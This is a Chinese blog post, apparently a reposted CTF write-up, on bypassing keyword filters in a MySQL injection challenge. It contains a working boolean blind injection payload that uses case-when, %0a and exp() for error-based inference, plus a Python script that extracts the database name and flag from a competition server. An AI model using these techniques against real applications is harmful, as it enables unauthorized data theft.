实战|记一次MySQL注入绕过

admin 2022年6月20日02:34:56评论58 views字数 1551阅读5分10秒阅读模式
作者:末初  编辑:白帽子社区
实战|记一次MySQL注入绕过
SQL注入类型判断
某朋友比赛中让帮忙看的一道题目,如下实战|记一次MySQL注入绕过

查看源码发现提示 实战|记一次MySQL注入绕过

存在过滤且,limit参数只能为单个数字 实战|记一次MySQL注入绕过实战|记一次MySQL注入绕过fuzz一下sql注入关键字看看都过滤了哪些字符 实战|记一次MySQL注入绕过实战|记一次MySQL注入绕过实战|记一次MySQL注入绕过

直接在class参数插入exp(100)回显正常,插入exp(1000)发现返回database error;说明此处sql注入可直接插入执行,其次如果sql语句执行错误会返回报错提示;

实战|记一次MySQL注入绕过
绕过

那么就可以做布尔盲注了,但是比较棘手的是过滤了逗号,;不能使用if进行条件判断;绕过逗号的方法from x for y不能在if中使用。if无法使用可以用case when [express] then [x] else [y] end代替空格绕过可以使用括号()或者%0a=、like、regexp被过滤可以用in(不过in对字符大小写不敏感)

class=case%0awhen%0a(2)in(1)%0athen%0aexp(1000)else%0a1%0aend&limit=4
实战|记一次MySQL注入绕过实战|记一次MySQL注入绕过

实战|记一次MySQL注入绕过
利用脚本编写
from urllib.parse import urlencodefrom urllib.parse import unquoteimport requests
burp0_url = "http://123.60.32.152:80/"burp0_headers = {"Content-Type": "application/x-www-form-urlencoded"}all_str = "0123456789abcdefghijklmnopqrstuvwxyz!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~"
flag = ''for leng in range(1,50):for char in all_str: payload = "case%0awhen%0amid(database()from({})for(1))%0ain%0a(0x{})%0athen%0aexp(1000)%0aelse%0a1%0aend".format(leng, hex(ord(char))[2:])#payload = "case%0awhen%0amid((select%0aflag%0afrom%0aflag)from({})for(1))%0ain%0a(0x{})%0athen%0aexp(1000)%0aelse%0a1%0aend".format(leng, hex(ord(char))[2:]) burp0_data = {"class": unquote(payload), "limit": "4"} resp = requests.post(burp0_url, headers=burp0_headers, data=urlencode(burp0_data))if 'error' in resp.text: flag += charprint(flag)else:continue# print(resp.text)# print(resp.request.body)
实战|记一次MySQL注入绕过

到数据名称:babysql 直接按照前面的提示查flag实战|记一次MySQL注入绕过

加个好友

实战|记一次MySQL注入绕过

推荐阅读

实战|记一次MySQL注入绕过


欢迎 在看留言分享至朋友圈 三连



 好文推荐  



原文始发于微信公众号(乌雲安全):实战|记一次MySQL注入绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月20日02:34:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战|记一次MySQL注入绕过https://cn-sec.com/archives/1128553.html

发表评论

匿名网友 填写信息